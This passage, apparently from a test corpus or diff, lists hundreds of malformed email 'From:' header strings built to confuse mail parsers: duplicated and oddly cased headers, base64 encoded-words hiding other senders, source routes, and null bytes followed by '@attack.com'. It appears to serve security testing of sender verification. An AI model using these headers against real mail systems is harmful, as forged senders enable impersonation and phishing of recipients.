<=?utf-8?RnJvbTp3b3JkLigpPE1pa2VAMTI2LmNvbT4oKSw8QGdtYWlsLmNvbTpAYi5jb206a2V5QG1zbi5jb20+KGNvbW0NCmVudCksd29yZCgNCik8d2VibWFzdGVyQDEyNi5jb20+LDxNaWtlQGZveG1haWwuY29tPg0K=?=>", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8YWRtaW5AMTM5LmNvbT4NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbSxhdHRhY2tlckAxNjMuY29tLHdvcmQuKCkoY29tbQ0KZW50KSgpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tDQplbnQpLHdvcmR3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAc29odS5jb20+KA0KKSx3b3JkPHNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KSx3b3JkPE1pa2VAb3V0bG9vay5jb20+DQo==?=>", - " FrOM: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - "From:admin@china.com,,,\r\n", - " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - " From:,(\r\n),hr@aliyun.com,\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQGljbG91ZC5jb20sYWRtaW5AYWxpeXVuLmNvbSxockBzaW5hLmNvbSxCb2JAMTYzLmNvbSx3b3Jkd29yZHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMzkuY29tPg0K=?=>", - " From:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", - "From: security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKCk8aHJAbGl2ZS5jb20+LHdvcmR3b3JkKGhpKTxCb2JAMTM5LmNvbT4NCg===?=>", - " FrOM: \r\nFrom:attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTpockB5bWFpbC5jb20uY24NCg===?=>", - "From:,,,word(\r\n)\r\n", - "From: \r\nFrom:webmaster@126.com\r\n", - " From:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - " From: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - " Fromÿ: \r\nFrom:hr@126.com\r\n", - "From: security@126.com\r\n", - " Fromÿ: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", - " From: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - " FrOM: \r\nFrom:,Mike@ymail.com\r\n", - " Fromÿ: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - " From:attacker@gmail.com,Mike@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQHltYWlsLmNvbS5jbj4sQWxpY2VAZ21haWwuY29tLHdvcmQoY29tbWVudCkuLndvcmQ8YXR0YWNrZXJAY2hpbmEuY29tPg0K=?=>", - " FrOM: \r\nFrom:Mike@msn.com\r\n", - " FrOM: \r\nFrom:Alice@live.com\r\n", - "From: word.(\r\n),hr@ymail.com\r\n", - " From: \r\nFrom:,hr@aliyun.com\r\n", - "From: <=?utf-8?RnJvbTo8YWRtaW5AcXEuY29tPihjb21tZW50KSwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4sPGFkbWluQGljbG91ZC5jb20+DQo==?=>\u0000@attack.com", - "From: (comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - "From:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From:attacker@outlook.com\r\n", - "From :,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - " FrOM: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsa2V5QGFsaXl1bi5jb20sLA0K=?=>\u0000@attack.com", - "From:admin@china.com\r\n", - " From:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - " FrOM: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - " FrOM: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - " From: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From: \r\nFrom:admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQDE2My5jb20+KGhpKQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosaHJAYWxpeXVuLmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGxpdmUuY29tPg0K=?=>\u0000@attack.com", - "From: (hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - "From: <=?utf-8?RnJvbTooKSw8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KSwsDQo==?=>", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHNpbmEuY24sLCwoDQopDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPg0K=?=>", - "From :key@live.com\r\n", - "From :()\r\n", - " From: \r\nFrom:hr@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiwNCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAY2hpbmEuY29tLEJvYkBxcS5jb20sLCwoY29tbWVudCkNCg===?=>", - " From: \r\nFrom:,security@china.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzaW5hLmNuPigNCikNCg===?=>", - " From: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", - "From: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From :<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - " FrOM: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - " FrOM: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - " From:,Mike@ymail.com\r\n", - "From:", - " From:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpockBzb2h1LmNvbQ0K=?=>\u0000@attack.com", - "From: attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - " From: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosc2VjdXJpdHlAY2hpbmEuY29tDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:word(),wordword(hi)\r\n", - "From :word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - " From: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " From: \r\nFrom:key@msn.com\r\n", - " FrOM: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - "From: <=?utf-8?RnJvbTo8a2V5QGxpdmUuY29tPigpDQo==?=>", - " Fromÿ: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - "From:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - " FrOM: \r\nFrom:wordword(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosKA0KKSxNaWtlQGNoaW5hLmNvbSx3b3JkPGtleUAxNjMuY29tPihjb21tDQplbnQpLA0K=?=>", - "From: <=?utf-8?RnJvbTooaGkpLCgpLCwsd29yZCgpKA0KKTxNaWtlQHNpbmEuY24+KCkNCg===?=>", - "From: \r\nFrom:key@icloud.com\r\n", - " From:word(comm\r\nent),,(\r\n)\r\n", - " Fromÿ: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - "From :Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - " FrOM: \r\nFrom:Bob@sohu.com\r\n", - " Fromÿ: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QHltYWlsLmNvbT4oDQopDQo==?=>\u0000@attack.com", - "From: ()\r\n", - "From:,,,\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:Bob@139.com\r\n", - "From :word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - " From:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - "From:hr@163.com\r\n", - "From :Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - "From :(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - " FrOM: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - "From:attacker@gmail.com,Mike@ymail.com.cn\r\n", - "From:(comm\r\nent),,key@aliyun.com,,\r\n", - "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbQ0K=?=>", - "From: \r\nFrom:()\r\n", - " From:,key@139.com,,(hi),,(),\r\n", - "From :Alice@outlook.com,word\r\n", - "From:Bob@126.com\r\n", - "From :admin@china.com,,,\r\n", - " From: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - "From :(comm\r\nent),attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTooDQopLGFkbWluQHltYWlsLmNvbS5jbg0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:Bob@sohu.com\r\n", - " Fromÿ: \r\nFrom:,,Alice@msn.com,,()\r\n", - " Fromÿ: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTosd29yZCgNCik8aHJAYWxpeXVuLmNvbT4sLCgpLGtleUB5bWFpbC5jb20uY24sKCkNCg===?=>", - " Fromÿ: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - " From:Bob@sohu.com,Mike@qq.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QHRvcC5jb20+DQo==?=>\u0000@attack.com", - " From:wordwordword(comment)\r\n", - "From: ,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From :key@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxzZWN1cml0eUB0b3AuY29tPigNCikNCg===?=>", - " From: \r\nFrom:,hr@126.com,(hi)\r\n", - "From:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - " From: \r\nFrom:,(comment),(),word..(hi)\r\n", - "From: \r\nFrom:hr@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLChoaSksKA0KKSx3b3JkKGNvbW1lbnQpKGhpKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+DQo==?=>", - " From: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTooKSwoaGkpPEBhLmNvbTpAYi5jb206QWxpY2VAbGl2ZS5jb20+KGhpKSwNCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTo8Qm9iQG91dGxvb2suY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", - "From: ,(hi),(\r\n)\r\n", - "From:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - "From: \r\nFrom:(),key@icloud.com,,,\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - "From: <=?utf-8?RnJvbTpockBhbGl5dW4uY29tDQo==?=>", - "From: (comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - " From: \r\nFrom:word(),wordword(hi)\r\n", - "From :attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - " FrOM: \r\nFrom:hr@sohu.com\r\n", - " From: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKSx3b3Jkd29yZHdvcmQoY29tbQ0KZW50KTx3ZWJtYXN0ZXJAaWNsb3VkLmNvbT4NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QHRvcC5jb20+DQo==?=>", - "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLA0K=?=>\u0000@attack.com", - " From: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - " From: \r\nFrom:hr@126.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQoDQopPHdlYm1hc3RlckBjaGluYS5jb20+LChjb21tZW50KTxrZXlAbGl2ZS5jb20+KGhpKQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:hr@gmail.com\r\n", - "From:,security@china.com\r\n", - "From: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - " From:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - "From: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", - "From: \r\nFrom:wordword().(hi)\r\n", - " FrOM: \r\nFrom:key@hotmail.com\r\n", - "From: \r\nFrom:Alice@163.com\r\n", - " FrOM: \r\nFrom:Alice@163.com\r\n", - "From:,key@139.com,,(hi),,(),\r\n", - " From:(hi),(),,,word()(\r\n)()\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxrZXlAc29odS5jb20NCg===?=>\u0000@attack.com", - "From:(comm\r\nent)\r\n", - " From:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From :(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - " FrOM: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From: key@outlook.com,(comm\r\nent)\r\n", - " From: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", - "From: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - "From :()<@gmail.com:@b.com:Mike@live.com>\r\n", - " From: \r\nFrom:,Bob@ymail.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZHdvcmQ8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>", - "From: \r\nFrom:key@foxmail.com,(\r\n)\r\n", - " FrOM: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - "From:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - "From:,,Alice@msn.com,,()\r\n", - "From:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - " FrOM: \r\nFrom:(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - "From: webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From :,key@139.com,,(hi),,(),\r\n", - "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>", - "From: \r\nFrom:Bob@126.com\r\n", - " FrOM: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - " Fromÿ: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", - " FrOM: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", - "From:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOk1pa2VAb3V0bG9vay5jb20+KA0KKQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphZG1pbkAxNjMuY29tLGF0dGFja2VyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", - "From:(comm\r\nent)(comm\r\nent)\r\n", - "From: \r\nFrom:(\r\n),key@qq.com,\r\n", - "From :(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - " From:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - " From: \r\nFrom:(comm\r\nent)(hi)\r\n", - " From: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", - "From: wordword(\r\n)(comment)\r\n", - "From :,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - " Fromÿ: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTM5LmNvbT4NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - " From:,webmaster@sina.cn,,,(\r\n)\r\n", - " Fromÿ: \r\nFrom:attacker@126.com\r\n", - "From: hr@163.com\r\n", - " Fromÿ: \r\nFrom:()\r\n", - "From:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - " From:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixNaWtlQDE2My5jb20NCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:webmaster@sina.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLCwoaGkpLDx3ZWJtYXN0ZXJAdG9wLmNvbT4oaGkpDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxzZWN1cml0eUBtc24uY29tPihoaSkNCg===?=>\u0000@attack.com", - " From:key@sina.cn,\r\n", - "From:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - " From: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxzZWN1cml0eUB0b3AuY29tPigNCikNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sQm9iQDEzOS5jb20sd29yZDxrZXlAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>", - "From:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - " From: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - "From: (comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - "From :wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - " FrOM: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", - "From:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - "From:Bob@sohu.com,Mike@qq.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTM5LmNvbT4NCg===?=>", - "From: <=?utf-8?RnJvbTosQWxpY2VAY2hpbmEuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBtc24uY29tPix3b3Jkd29yZChoaSk8TWlrZUBhbGl5dW4uY29tPix3b3JkPGFkbWluQGhvdG1haWwuY29tPihoaSksd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>", - " From:webmaster@gmail.com,key@126.com\r\n", - "From:key@live.com\r\n", - " From: \r\nFrom:,Mike@ymail.com\r\n", - "From :hr@sohu.com\r\n", - "From :Bob@aliyun.com,(),,,word\r\n", - "From: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From: ()(comment)\r\n", - "From: hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From: <=?utf-8?RnJvbTosLEFsaWNlQG1zbi5jb20sLCgpDQo==?=>\u0000@attack.com", - " From: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", - " From: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - " FrOM: \r\nFrom:,hr@live.com,hr@126.com\r\n", - " FrOM: \r\nFrom:admin@qq.com\r\n", - "From: \r\nFrom:Alice@live.com\r\n", - " Fromÿ: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", - "From :Alice@msn.com,\r\n", - "From: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - " From: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From :,(\r\n)\r\n", - "From :,hr@aliyun.com\r\n", - "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLCgpLCgpLCx3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAbXNuLmNvbT4sLGhyQGxpdmUuY29tDQo==?=>\u0000@attack.com", - "From: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", - " From:key@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From: word(\r\n)()\r\n", - "From :webmaster@gmail.com,key@126.com\r\n", - " From:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - "From :attacker@163.com\r\n", - " Fromÿ: \r\nFrom:webmaster@126.com\r\n", - " From:wordword(\r\n)(comment)\r\n", - " Fromÿ: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - " From: \r\nFrom:Mike@top.com,key@outlook.com\r\n", - "From :(comm\r\nent),,key@aliyun.com,,\r\n", - "From:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - " FrOM: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From :wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - " FrOM: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbSxhdHRhY2tlckAxNjMuY29tLHdvcmQuKCkoY29tbQ0KZW50KSgpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tDQplbnQpLHdvcmR3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAc29odS5jb20+KA0KKSx3b3JkPHNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KSx3b3JkPE1pa2VAb3V0bG9vay5jb20+DQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmFkbWluQHFxLmNvbT4oKSwsKGhpKSwoY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAZ21haWwuY29tPg0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPGF0dGFja2VyQDE2My5jb20+KGNvbW0NCmVudCksLCgNCikNCg===?=>\u0000@attack.com", - "From:Mike@foxmail.com\r\n", - " From: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - "From:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - " From: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", - "From: Bob@sohu.com\r\n", - " Fromÿ: \r\nFrom:wordwordword(comment)\r\n", - "From: ,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - "From:,Mike@icloud.com\r\n", - "From:webmaster@qq.com,()\r\n", - " From: \r\nFrom:,Alice@china.com\r\n", - "From: word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - "From: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From :(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - " FrOM: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", - "From :hr@126.com\r\n", - "From: ,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From: \r\nFrom:,attacker@hotmail.com\r\n", - " From:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - " From: \r\nFrom:security@126.com\r\n", - "From: <@a.com:@b.com:security@qq.com>\r\n", - "From: (comm\r\nent)(hi)\r\n", - " Fromÿ: \r\nFrom:(),key@icloud.com,,,\r\n", - " Fromÿ: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", - "From: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", - " From:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZChjb21tDQplbnQpPGhyQGZveG1haWwuY29tPigNCiksYWRtaW5AZm94bWFpbC5jb20sd2VibWFzdGVyQDEzOS5jb20sc2VjdXJpdHlAZ21haWwuY29tDQo==?=>", - "From: \r\nFrom:word(\r\n)()\r\n", - "From: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", - "From:(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAMTI2LmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLDxAcXEuY29tOkAxNjMuY29tOmtleUBjaGluYS5jb20+DQo==?=>", - " From: \r\nFrom:hr@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:,(hi),(\r\n)\r\n", - " From:(hi)\r\n", - "From: 